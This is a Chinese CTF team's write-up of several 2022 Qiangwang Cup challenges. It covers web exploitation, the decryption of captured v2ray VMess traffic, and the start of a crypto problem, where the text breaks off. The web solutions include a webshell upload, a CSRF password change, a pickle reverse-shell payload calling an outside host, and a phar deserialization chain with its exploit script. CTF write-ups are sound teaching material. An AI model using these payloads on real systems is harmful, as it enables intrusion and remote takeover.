2022年第六届“强网杯”网络安全大赛部分writeup
P.S战队招新:只要你有充足时间能够投入到比赛中,欢迎加入我们
招新方向:Web、Crypto、Pwn
招新要求:
1. 人品好
2. 对自身所擅长的方向有一定基础
3. 有上进心,肯花时间打比赛
有意向的师傅简历请丢邮箱:admin@n03tack.top
文章大纲
Web rcefile babyweb WP-UM crash easyweb Misc 谍影重重 Crypto polydiv ASR myJWT Factor Re easyapk deeprev GameMaster easyre GAME(赛后)
Web
rcefile
访问www.zip下载源码
spl_autoload_register
函数如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。
所以上传一个webshell,后缀为inc
序列化类名为文件名的类
<?php
class b333de5a6fa6afc7dba13703f8a679a7{
function __construct()
{
}
}
$a = new b333de5a6fa6afc7dba13703f8a679a7();
echo serialize($a);
再填充到cookie中
babyweb
注册登录后可以看到是聊天框和bot进行对话,bot主要有两个功能点:一个是修改密码,另一个则是访问传过去的链接,并且通过websockets进行通信。因此思路就是让bot去访问修改密码的接口,促使 admin 用户更改密码。在 vps 上放置 test.html文件,内容如下:
<!DOCTYPE html>
<html>
<head>
<script>
function dotast(){
var ws = new WebSocket("ws://127.0.0.1:8888/bot");
ws.onopen = function(){
ws.send("changepw 123456");
}
}
dotast();
</script>
</head>>
<body>
test
</body>
</html>
bot访问后,管理员密码修改为123456,登录。
金币只有200,购买flag需要1000。购买一次 hint 后获得源码下载
对 num 字段进行了限制,只能输入012345
,尝试双写num
并且购买为 -1
发现余额增加了,继续发包几次增加余额到 1000 后,进行购买 flag即可获得flag
WP-UM
根据题目提示:
打开网站注册登录后可以upload上传文件,搜了一下发现该插件可以探测文件是否存在
因此探测根目录下的 username 和 password文件夹获取管理员账号密码
MaoGePaMao:MaoGeYaoQiFeiLa
登录后台后编辑php文件写入马
吐槽,被这个数据库提示误导了几个小时......
硬藏flag
crash
查看源码,
Pickle.loads
存在 pickle 反序列化,访问/balancer
接口会获取 cookie 中的 userdata。做一次base64编码后接着一个判断进行过滤,主要过滤了R
。
先访问login?username=admin&password=admin
路由获得cookie格式,然后查找不用R的payload
https://zhuanlan.zhihu.com/p/361349643
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1"'
o.'''
print(base64.b64encode(data))
生成的字符串替换掉 cookie 中的 userdata 的值,再访问/balancer
接口触发反弹shell。反弹shell之后会删除掉所有 py 文件导致之前起的 flask 服务崩溃。
题目描述说flag在 504 页面,504 状态码为超时,写一个 flask 起一下进行延时
from flask import Flask
import time
app = Flask(__name__,static_url_path='')
@app.route('/dotast', methods=['GET', 'POST'])
def index():
time.sleep(99999)
return ""
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
访问后超时回显出flag
easyweb
可以通过showfile.php
读取 upload.php、class.php、index.php
其中 class.php 是用于构造链子的,该链子与NSSCTF
中的再见辛丑基本相同稍微修改即可,exp如下
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
}
class GuestShow{
public $file;
public $contents;
}
class AdminShow{
public $source;
public $str;
public $filter;
}
$guest = new GuestShow();
$guest1 = new GuestShow();
$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();
$admin = new AdminShow();
$admin1 = new AdminShow();
$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
生成后进行上传文件,这里会检测 SESSION 变量,这个可以通过上传时带上 PHP_SESSION_UPLOAD_PROGRESS 和 PHPSESSID 即可成功上传
接着触发Phar反序列化,触发点在 Upload 类中会调用 unlink 函数,通过GET请求传入 fname 变量可以指定文件名,测试发现这里 session_id 并不能取到值,所以最后 fname=phar://md5/filename.jpg
最后脚本如下
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import base64
import requests
import re
sessid = 'atao'
def write(session):
f = open("D:/phpstudy_pro/WWW/error/phar.phar", "rb").read()
print session.post('http://47.104.95.124:8080/upload.php?fname=aatao.jpg', data ={ 'PHP_SESSION_UPLOAD_PROGRESS': 'a' * 100}, files={'file': ('atao.jpg', f)}, cookies={'PHPSESSID': sessid}).text
S
def read(session):
f = "123"
resp = session.post('http://47.104.95.124:8080/upload.php?fname=phar://424a3ca826be12350520adc133a2b9d3/aatao.jpg', data = {'PHP_SESSION_UPLOAD_PROGRESS': 'a' * 100}, files={'file': ('atao.jpg', f)}, cookies={'PHPSESSID': sessid})
r = re.findall("!<img src=data:jpg;base64,(.*) />", resp.text)
print base64.b64decode(r[0])
f1 = open("a.bin", "ab")
f1.write(base64.b64decode(r[0]))
print resp.text
if __name__ == '__main__':
session = requests.session()
write(session)
read(session)
可以通过 AdminShow 类的 Show 函数访问本地文件,从 /proc/net/arp 获取内网 IP 地址
逐个访问后,发现 10.10.10.10 开放了 80 端口,访问获取源码。
<?php
highlight_file(__FILE__);
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}
if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
system('cat /flag');
die();
}
?>
还是存在 SSRF 漏洞,可以直接读取本地 flag,exp 为 http://10.10.10.10/?url=file:///flag
最后 flag 为 flag{easy_penetration_it_is_!_QAQ}
Misc
谍影重重
看他们wp写的好“简洁”,于是俺就稍微写详细一点,用的python
给了流量包、config.json和加密的压缩包,提示需要找到api的地址
直接百度config.json中的id,能够发现是v2ray的配置文件。
给了流量包,应该是抓的传输流量。github上没有直接解密的脚本,那么看看官方文档
https://www.v2ray.com/developer/protocols/vmess.html
先看请求
16 字节 | X 字节 | 余下部分 |
---|---|---|
认证信息 | 指令部分 | 数据部分 |
认证信息是一个 16 字节的哈希(hash)值,它的计算方式如下:
H = MD5 K = 用户 ID (16 字节) M = UTC 时间,精确到秒,取值为当前时间的前后 30 秒随机值(8 字节, Big Endian) Hash = HMAC(H, K, M)
加密方式md5,用户id已知,时间已知,爆破60次。
根据分析,注意到dstport == 10087为请求。前16字节为4dd11f9b04f2b562b9db539d939f1d52
接下来看指令部分
指令部分经过 AES-128-CFB 加密:
Key:MD5(用户 ID + []byte('c48619fe-8f02-49e0-b9e9-edf763e17e21')) IV:MD5(X + X + X + X),X = []byte(认证信息生成的时间) (8 字节, Big Endian)
这里很奇怪在思考后面那一串是否为固定值,于是去github翻阅代码
https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/id.go
那么直接拿来爆破,顺带拿到key和iv
import hmac
import hashlib
from Crypto.Util.number import long_to_bytes as n
keys = 'b8 31 38 1d 63 24 4d 53 ad 4f 8c da 48 b3 08 11'.split(' ') #用户id
for i in range(len(keys)):
keys[i] = int(keys[i],16)
key = bytes(keys)
for i in range(1615528900,1615529000):
hash = hmac.new(key,n(i,8),'md5').hexdigest()
if(hash == '4dd11f9b04f2b562b9db539d939f1d52'):
print(i)
print(hashlib.md5(key + b'c48619fe-8f02-49e0-b9e9-edf763e17e21').hexdigest())
print(hashlib.md5(n(i, 8) + n(i, 8) + n(i, 8) + n(i, 8)).hexdigest())
得到
1615528982 b50d916ac0cec067981af8e5f38a758f 881eb47d4d3b67b24328c5178c0eedcc
分别为时间戳、key、iv,结合AES-128-CFB,先用cyberchef看看
接下来看指令部分的详解
1 字节 | 16 字节 | 16 字节 | 1 字节 | 1 字节 | 4 位 | 4 位 | 1 字节 | 1 字节 | 2 字节 | 1 字节 | N 字节 | P 字节 | 4 字节 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
版本号 Ver | 数据加密 IV | 数据加密 Key | 响应认证 V | 选项 Opt | 余量 P | 加密方式 Sec | 保留 | 指令 Cmd | 端口 Port | 地址类型 T | 地址 A | 随机值 | 校验 F |
选项 Opt 细节:(当某一位为 1 时,表示该选项启用)
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
---|---|---|---|---|---|---|---|
X | X | X | X | X | M | R | S |
其中:
版本号 Ver:始终为 1; 数据加密 IV:随机值; 数据加密 Key:随机值; 响应认证 V:随机值; 选项 Opt: 只有当 S 开启时,这一项才有效; 当其项开启时,客户端和服务器端需要分别构造两个 Shake 实例,分别为 RequestMask = Shake(请求数据 IV), ResponseMask = Shake(响应数据 IV)。 只有当 S 开启时,这一项才有效; S (0x01):标准格式的数据流(建议开启); R (0x02):客户端期待重用 TCP 连接(V2Ray 2.23+ 弃用); M (0x04):开启元数据混淆(建议开启); X:保留 余量 P:在校验值之前加入 P 字节的随机值; 加密方式:指定数据部分的加密方式,可选的值有: 0x00:AES-128-CFB; 0x01:不加密; 0x02:AES-128-GCM; 0x03:ChaCha20-Poly1305; 指令 Cmd: 0x01:TCP 数据; 0x02:UDP 数据; 端口 Port:Big Endian 格式的整型端口号; 地址类型 T: 0x01:IPv4 0x02:域名 0x03:IPv6 地址 A: 当 T = 0x01 时,A 为 4 字节 IPv4 地址; 当 T = 0x02 时,A 为 1 字节长度(L) + L 字节域名; 当 T = 0x03 时,A 为 16 字节 IPv6 地址; 校验 F:指令部分除 F 外所有内容的 FNV1a hash;
开头是01,说明没有问题。但是在查看源码的时候发现,貌似这篇文章有的地方没写正确,或者说这篇文章太久没更新,看这:https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/headers.go
先不管这里了,根据之前分析得到的写出相应脚本进行解析
datas = '01 13 27 7f 57 32 da 52 ad a7 90 d8 7b 88 29 da a9 5e 4a 9a a9 ba 58 c7 e3 ad 36 fe 24 99 dc a2 59 a2 0d 63 00 01 13 88 01 7f 00 00 01 1a ce 7d 9b b0 b5 39 18 2c 03 81 aa 40 5d 11 2d 5d 1d c1 d3 3e c5 8e 44 6b 15 1f 33 31 cd 52 09 d2 5d 1b 06 5f a8 75 44 86 e5 71 58 4c 46 fa 7d 0e e4 43 eb 69 ab f4 66 c2 83 49 e9 02 09 23 cc 8f 47 2f 1d 20 bb e0 56 87 b7 20 e2 cc 8f ab 4d c1 73 c2 32 d6 c8 15 cb 7c 75 c6 bd 74 d2 e2 a5 76 38 ef fd 11 ff 00 9c 36 38 4c 43 1b 12 3e d1 24 96 5e 21 8a 79 cf b9 11 55 fc 55 b8 1f af 71 6a ef b5 83 28 f2 95 e7 6e 35 2d 11 e9 03 17 ae 8d 20 90 38 ae 70 d1 9e e2 f5 77 c4 84 1d 77 dc 42 64 31 08 8a 94 32 44 f5 0a f3 a2 ff df 45 b8 ff 21 0b 2c 4f f5 51 07 61 27 fa'.split(' ')
for i in range(len(datas)):
datas[i] = int(datas[i],16)
data = bytes(datas)
print('版本号Ver',data[0])
print('数据加密iv',data[1:17],hashlib.md5(data[1:17]).hexdigest())
print('数据加密key',data[17:33],hashlib.md5(data[17:33]).hexdigest())
print('响应认证V',data[33])
print('选项Opt',bin(data[34])[2:].zfill(8))
print('余量P',int(bin(data[35])[2:].zfill(8)[:4],2))
print('加密方式Sec',int(bin(data[35])[2:].zfill(8)[4:],2))
print('指令Cmd',data[37])
print('端口Port',int.from_bytes(data[38:40], "big"))
print('地址类型T',data[40])
print('地址A',int.from_bytes(data[41:45], "big")) #2130706433=127.0.0.
print('随机值:',data[45:45+int(bin(data[35])[2:].zfill(8)[:4],2)],'len=',i)
print('校验',data[45+int(bin(data[35])[2:].zfill(8)[:4],2):55])
版本号Ver 1 数据加密iv b"\x13'\x7fW2\xdaR\xad\xa7\x90\xd8{\x88)\xda\xa9" fa2a8ab0fadb4854943df690335a99b5 数据加密key b'^J\x9a\xa9\xbaX\xc7\xe3\xad6\xfe$\x99\xdc\xa2Y' b22984cda4143a919b5b6de8121b6159 响应认证V 162 选项Opt 00001101 余量P 6 加密方式Sec 3 指令Cmd 1 端口Port 5000 地址类型T 1 地址A 2130706433(127.0.0.1) 随机值: b'\x1a\xce}\x9b\xb0\xb5' len= 231 校验 b'9\x18,\x03'
注意Opt是1101
能够得到数据加密的iv和key。且能够知道指令部分占了多少字节。因此找到数据部分从哪开始。由于是CFB模式,因此用cyberchef慢慢删即可知道哪里是数据部分的开始位置。即能够得到数据部分为1def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26
接着看数据部分
从刚刚分析可以得知,这里S开启。长度有2字节,那么数据从47 63 cc开始算起。然后是chacha20加密
解不出来,再去翻源码https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/headers.proto
无语,官网tm自己都不更新文档是吧。
然后cyberchef没解出来,这里用python
from Crypto.Cipher import AES
key = bytes.fromhex("5e4a9aa9ba58c7e3ad36fe2499dca259")
nonce = bytes.fromhex("00007f5732da52ada790d87b")
cipher = AES.new(key, AES.MODE_GCM, nonce)
c = bytes.fromhex("4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26")
m = cipher.decrypt(c)
print(m)
b'GET /out HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nUser-Agent: curl/7.75.0\r\nAccept: /\r\nConnection: close\r\n\r\noV\x0f*|\xaaV.\xc6\x82\xfd\xe1,\x8aS[yxF\x1a{\xde\x84\x9f\xa0\x82"\xfb\x1dA\xb4\x99\x1e\xce\xe0\x0f\xc7\x03f\xc7E\xa5\xa3\xeexG9\xe0\xac\xf4(\xa3h!c\x85\xc7\xab\x8b\xcfs\xb5\xb8\xb9\t\xa5V\xac\xfa5\xa6\xad\x80C/'
向out的一个GET请求,但是为什么后面还有奇奇怪怪的数据呢。
可以注意到上面提到:
M (0x04):开启元数据混淆(建议开启); 只有当 S 开启时,这一项才有效; 当其项开启时,客户端和服务器端需要分别构造两个 Shake 实例,分别为 RequestMask = Shake(请求数据 IV), ResponseMask = Shake(响应数据 IV)。
那么现在就要去找requestMask,与shake有关
其中提到的代码在server.go里,当然我们现在需要的在auth.go里
注意到打框的部分和上面对应的地方,因此长度应该从第3字节开始。前两字节为padding,通过这一句查看padding
print('Padding Len',int.from_bytes(bytes.fromhex(hashlib.shake_128(data[1:17]).hexdigest(2)),'big')%64)
#59
加上之前提到的16字节的GCM 认证信息,实际有用信息应该为解出来的信息减掉(16+59)
将上面的脚本的最后输出改成print(m[:-(59+16)].decode())看看
完全没有问题。下一步即为解密响应包。这里拿第一条包响应包进行测试,即第6条,提到了key和iv为数据加密部分的key和iv
应答头部数据使用 AES-128-CFB 加密,IV 为 MD5(数据加密 IV),Key 为 MD5(数据加密 Key)。实际应答数据视加密设置不同而不同。
1 字节 | 1 字节 | 1 字节 | 1 字节 | M 字节 | 余下部分 |
---|---|---|---|---|---|
响应认证 V | 选项Opt | 指令 Cmd | 指令长度 M | 指令内容 | 实际应答数据 |
其中:
响应认证 V:必须和客户端请求中的响应认证 V 一致; 选项 Opt: 0x01:服务器端准备重用 TCP 连接(V2Ray 2.23+ 弃用); 指令 Cmd: 0x01:动态端口指令 实际应答数据: 当 Opt(M) 开启时,长度 L 的值 = 真实值 xor Mask。Mask = (ResponseMask.NextByte() << 8) + ResponseMask.NextByte(); 如果请求中的 Opt(S) 开启,则使用标准格式,否则使用基本格式。 格式均和请求数据相同。
然后和之前一样,那么浅浅写个脚本
from Crypto.Cipher import AES
data = '4a231cf75e9608f8affdb5d1b69eca8b434cb6f505120e757911de489f5eb7fe1b3270521db2b825a0462786304bafd4fb7320a3820bd98db3c3694380748da6470cc7c6dceff48e0cde0e321acf7cf7644bf5547d65a687ae87163ffcac18530ad873c71cd24ae931254bac0186003a6a603ac5de3dd3944e00e5b3c8821d0caf255626f8bdba5e0ced040fcc2fb29dfeddbba1791a925a37aa35ed94737bd7d3704bba5c83be54a2d82c2d9fbfa66a70c591e89ec82a18d58e23609d34f09e5da8ebf7ed7b9da659e61f77d6e76f83435c3e648c6491d8f320e29576f8375c6f630372fae42cf8c838e3eda0b4e9be046a5f1b2a1afc0149085deca04ede3c561a63f49dc911b1d0a18213ae5b6d247bd5354a2be4bc3f56c4d418cda4135a6af8379b6b2ccf60d643cda6c632d78d2befc10d38daad1bec2b491f289f7a7be19795a6667bfe3a5fec89f07a2ba5d22f9dff3098caa8eb5ae83dd7d1e2ac4b9f7a236737e8b96be87910429f1e09b44186e5f30ce36789f0ff87a275b23c290288e413dbe91186992ae9009801940f360f0b4531aa5572f0b40501a7f5fd951b406bb273ca0287390222f1f8398614d0a76849a84155affd2055b42fb2372ec4cbc040a6def4eccfb908fe3841b39601bdcd8d6a45038909e388daac78932d87a97f262c9eb47d5ecf0071ec4b40fc75214daa058b74760371362b6acdeed0245db4bf9d30382d5804ac12776718cb0bd3ceae9453a2a7bb0dd54c6a62605f7976e4f8bf6f0e6c83ed6c1002bfd46faf183ebf6006cd503f7620801c3555f94602b4b30b13198feca0a0beb56e988509e160f0d53cbcf69ac9968d42aa2583c6e59278dfaaf7432a94a04840c65070d55d8a8d382b07ab7877b9ed272021b6c6ae0fe591790f21d22c5cb9a53b180efd0e5e93439f799e96661659729b0e24528434d127f43f698525017fff208a95ef477a7c65d0b35cc4ecc0dd0bcab4377a154a3a1fdc950824c753953b03d461fd6b9ced073be2f29010d7ee583ae0ccdf136193ef71fe5f7106e452cc7a177fc476110cd748bf32d5702507c9046a4c282f1955560aafce4893959556685789084a2060f628419ced87bf1f10aae3d493b785601b2d4064c35aae34279e2924cc449707a8995210ecdddaeb8e7c9418eb96bddac4a678a9130ed2fb5bb51c3d8c0011b28af42b037385d3967936cc14bf519cd97df0426e301adc400bc29b7127e774759901f82cde6012245087a8868860b7244a80fd9a7827c1e4e89d36888bd1b9b1d17c919616a97344bc02760f12058641f9b9d31c2d215ef12a1b0d31d7a4aab297364959e296a66b63eb03dbb4ead470f4a629713e14f64f117fd151e93538335fae7c850b0275e287cb296543797d89a1face15bb786aabd685d00e667b9362119e6778310d063be249d8b8e60367b286b57bc204621cab135a620548a2ca3d96702dd8e297ff568dafa8fa1b15a0016ea40e3396fbc7f462749f486d486482b2c2224e81a8a9701cb4416a196c7e4b372c8dbf523688de6907e3cfb4142dc7cba6cbd69c4709e4c71f455d107df2636fef1f1baa70a295b5bc659dabb3f57c4d5b3ef31155626c9fddb0e96edac4d12aaa9c9189328790574d01fe29cce7fd21d6edd1deb52417b2d37a92a19363e888e43906e60a7f2ef63482ed83a9aa83982269c684416c3bd96e41dd5ec9432c3519fdd5bb606035dc3df221440cdb0f87dad3b6fc67487411f39277db5abc71066ae474e0269978f4406b0ee8656ce61db7967af55ac78382c1f179cbb68e03a450c824bc250a8ef87e5a301ba6c5fb802a38df5ff13077e1cf93496d65a99dea11129fce3b9f4d5d171593d2f6f36e4319f9dc5e1d2ac2965fce827c229cb992520d22be1b0291b2d53c250d2fb03cc9e613c53e83263a186f1b580b6101fcbaf7681ef0032705e560b31fc51bc156d90357bfaaf8434df23d4e96690a35b79d8071cb6d9bef679f2164f2b3eca2696928763acdaa7bc076eae62f91e2363fdac9e68fabb0af04835e3c80f2e31e14354f6ca50fe759347288ba454982ff4e0731704395bc6f9e216b6546348a52d2df9e0a9c9199dec183d2b7ccd264b73b15cc2bdb429551fb7854bb8a6d02093ead5a08a77c6425c474d66108061ed6c2ad93bfd23cdc9a2c6919eb8a07be117b7748f406551ec4c9fa3ce8eda4b3d275c9225b888667e07185e06a5327a097e3826af619cc0e840c47fd17fa61fd836650887f4155c859c3664422b47d3bb3adcc686af15c7c23a4e37d5985ec09e9914357054b0baa9f8aab7e57348f92d0ee5ad8d4678ddd21fdf2679ca864f300875ebc4de14a68f2602e19170c18f1ea96eeea27bd267471bb2c821a434aebee2dad2060e5ea0937169f7a1b26d61606461393b6b4f8bcbc4e7de603bc6447b190d939c6447e5300a08685db242f5b18d792ac562d3f773d70493ff5ce2a550836ab535c84a8adaa503fcf1b58181a5b3b4e1b7e49d9d186e771520b1836b61947922617ca718a117003525320049665d8c4ab30bc0b36b33d999e3731d6cd0ad59ed6f8f0fad09b87ae8084cf193d7aa739d9b4605c047ee6b7c4778910959d1d552b85953fb98ff5cb50c27a5ac9543939b4cc5c8f936a87d602f874becc154ca34f8afce65814698bed3c8921cf7ac720d6b6044ab043bc8090e2b23c86698649e0f2b38af07bcd490967a9946ce3d26c8a56ce85e24fda80ae233d79761b3d79c567b70a5b56cddcba56b354a85d2a7f88458a77bc2ba9de4582412a3b72fdec21b3da400f7e4515be21fb9916bc16ed1ced9b2e396f56fc7031f29f22867b6c7ed30965389e8825797aff03dc3c18c016e5d2b92b8d25cff7bd9e'
data = bytes.fromhex(data)
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
nonce = bytes.fromhex("00008ab0fadb4854943df690")
cipher = AES.new(key, AES.MODE_GCM, nonce)
m= cipher.decrypt(data[6:])
print(m[:-80].decode('utf-8'))
得到
HTTP/1.1 200 OK
Content-Length: 1097547
Content-Disposition: inline; filename="out.html"
Accept-Ranges: bytes
ETag: "2c1e70fd6a7708efcc4a0f30821cd03ab8a58939"
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Fri, 12 Mar 2021 06:02:42 GMT
Connection: close
<body>
<script>
function saveAs(blob, fileName) {
let url = window.URL.createObjectURL(blob);
let anchorElem = document.createElement('a');
anchorElem.style = 'display: none';
anchorElem.href = url;
anchorElem.download = fileName;
document.body.appendChild(anchorElem);
anchorElem.click();
document.body.removeChild(anchorElem);
// On Edge, revokeObjectURL should be called only after
// a.click() has completed, atleast on EdgeHTML 15.15048
setTimeout(function() {
window.URL.revokeObjectURL(url);
}, 1000);
}
(function() {
let byteCharacters = atob('0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAANAAAABwEAAAAAAAAAEAAACQEAAAMAAAD+////AAAAAAQBAAAFAQAABgEAAAsBAAAMAQAADQEAAA4BAAAPAQAAEAEAABEBAAASAQAAEwEAAAAGAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////spcEAWQAJBAAA+BK/AAAAAAAAEAAAAAAACAAAFggAAA4AYmpiajgaOBoAAAAAAAAAAAAAAAAAAAAAAAAJBBYALg4AAFpw0mVacNJlFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAEIHAAAAAAAAQgcAAIcVAAAAAAAAhxUAAAAAAACHFQAAAAAAAIcVAAAAAAAAhxUAABQAAAAAAAAAAAAAAP////8AAAAAmxUAAAAAAACbFQAAAAAAAJsVAAAAAAAAmxUAAAwAAACnFQAADAAAAJsVAAAAAAAAsiAAAHQBAACz
office文件,确实是要找宏。先追踪流导出hex
然后去掉换行,使其都在同一行上。
接着想尝试爆破
f = open('out.txt','r').read()
f = bytes.fromhex(f)
from Crypto.Cipher import AES
start_ind = []
from tqdm import tqdm
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
def decode(c,ind):
nonce = [0x00, 0x00, 0x8a, 0xb0, 0xfa, 0xdb, 0x48, 0x54, 0x94, 0x3d, 0xf6, 0x90]
nonce[0] = ind // 256
nonce[1] = ind % 256
data = f[c:c+32]
cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
try:
m = cipher.decrypt(data)[:-3].decode()
print(m)
start_ind.append(c)
ind += 1
return ind
except:
return ind
id = 0
for i in tqdm(range(len(f))):
id = decode(i,id)
print(start_ind)
能够得到大家的开头
[6, 2031, 4049, 6034, 8072, 10074, 10536, 12526, 14553, 16562, 18567, 20190, 22230, 24274, 26295, 28340, 30325, 32328, 34326, 36337, 38339, 40386, 42428, 44441, 46443, 48434, 50474, 52520, 54544, 56574, 58571, 60578, 62611, 64640, 66676, 68700, 70718, 72753, 72868, 74870, 76883, 78915, 80904, 82907, 84896, 86891, 87500, 89524, 91552, 93551, 95539, 97567, 99581, 101611, 103620, 105653, 107656, 109682, 111692, 113721, 115722, 117741, 119786, 121819, 123862, 125847, 127874, 129864, 131860, 133849, 135841, 137868, 139901, 141922, 143957, 145957, 147996, 149989, 152002, 153995, 156029, 158061, 160094, 162123, 164119, 166119, 168116, 170153, 172141, 174144, 176159, 178192, 180190, 182178, 184207, 186197, 960934, 960935, 960936]
看起来,最后三个是要舍弃的。
f = open('out.txt','r').read()
f = bytes.fromhex(f)
fs = open('outs.txt','ab+')
from Crypto.Cipher import AES
start_ind = [6, 2031, 4049, 6034, 8072, 10074, 10536, 12526, 14553, 16562, 18567, 20190, 22230, 24274, 26295, 28340, 30325, 32328, 34326, 36337, 38339, 40386, 42428, 44441, 46443, 48434, 50474, 52520, 54544, 56574, 58571, 60578, 62611, 64640, 66676, 68700, 70718, 72753, 72868, 74870, 76883, 78915, 80904, 82907, 84896, 86891, 87500, 89524, 91552, 93551, 95539, 97567, 99581, 101611, 103620, 105653, 107656, 109682, 111692, 113721, 115722, 117741, 119786, 121819, 123862, 125847, 127874, 129864, 131860, 133849, 135841, 137868, 139901, 141922, 143957, 145957, 147996, 149989, 152002, 153995, 156029, 158061, 160094, 162123, 164119, 166119, 168116, 170153, 172141, 174144, 176159, 178192, 180190, 182178, 184207, 186197, 960934, 960935, 960936]
from tqdm import tqdm
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
def decode(a,b,ind):
nonce = [0x00, 0x00, 0x8a, 0xb0, 0xfa, 0xdb, 0x48, 0x54, 0x94, 0x3d, 0xf6, 0x90]
nonce[0] = ind // 256
nonce[1] = ind % 256
data = f[a:b]
cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
m = cipher.decrypt(data)
fs.write(m)
ind += 1
return ind
id = 0
for i in tqdm(range(len(start_ind))):
id = decode(start_ind[i],start_ind[i+1],id)
好吧 如此是得不到想要的结果的,还是老老实实去做吧
第一个的padding:
print('Padding Len',int.from_bytes(bytes.fromhex(hashlib.shake_128(bytes.fromhex('fa2a8ab0fadb4854943df690335a99b5')).hexdigest(2)),'big')%64)
反正知道怎么写了,开始写脚本
import hashlib
from Crypto.Cipher import AES
f = open('out.txt','r').read()
f = bytes.fromhex(f)
shake_data = hashlib.shake_128(bytes.fromhex('fa2a8ab0fadb4854943df690335a99b5')).hexdigest(11451)
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
fs = open('output.txt','a+')
i = 4
ind = 0
while i<len(f):
padding = int(shake_data[ind*8:ind*8+4],16)%64
length = int.from_bytes(f[i:i+2],'big') ^ int(shake_data[ind*8+4:ind*8+8],16)
i += 2
nonce = [0x00, 0x00, 0x8a, 0xb0, 0xfa, 0xdb, 0x48, 0x54, 0x94, 0x3d, 0xf6, 0x90]
nonce[0] = ind // 256
nonce[1] = ind % 256
real_length = length - padding - 16
cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
data = f[i:i+real_length]
m = cipher.decrypt(data).decode()
i += length
ind += 1
fs.write(m)
注意到结尾
谷歌搜"0208_54741869750132.doc" "api"
得到api.ipify.org
,得到密码08229f4052dde89671134f1784bed2d6
得到一个gob file
degob得到png的字节数组(其实degob也就只是把文件中数据部分提取出来了而已) 再根据提示恢复shuffle
giao,欺负没学过go的(挠头
package main
import (
"math/rand"
"os"
"time"
)
func main() {
//seed init
loc, _ := time.LoadLocation("Local")
timeObj, _ := time.ParseInLocation(
"2006-01-02 15:04:05",
"2022-07-19 14:49:56", loc)
seed := timeObj.Unix()
rand.Seed(seed)
input, _ := os.Open("./src.png")
in := make([]byte, 70475)
lenx, _ := input.Read(in)
table := make([]int, lenx)
out := make([]byte, lenx)
for i := 0; i < lenx; i++ {
table[i] = i
}
//shuffle
rand.Shuffle(len(table), func(i, j int) {
table[i], table[j] = table[j], table[i]
})
for i := 0; i < lenx; i++ {
out[table[i]] = in[i]
}
output, _ := os.Create("./flag.png")
output.Write(out)
}
得到一张png
a通道存在零零散散的flag,脚本提取的时候去掉0xff即可
from PIL import Image
pic = Image.open('result.png')
w,h = pic.size
for i in range(h):
for j in range(w):
pixel = list(pic.getpixel((j,i)))[3]
if(pixel != 0xff):
print(chr(int(pixel)),end='')
flag{898161df-fabf-4757-82b6-ffe407c69475}
Crypto
强网先锋-polydiv
首先是一个sha256的爆破,然后题目随机产生三个多项式。
要求我们给出,满足。
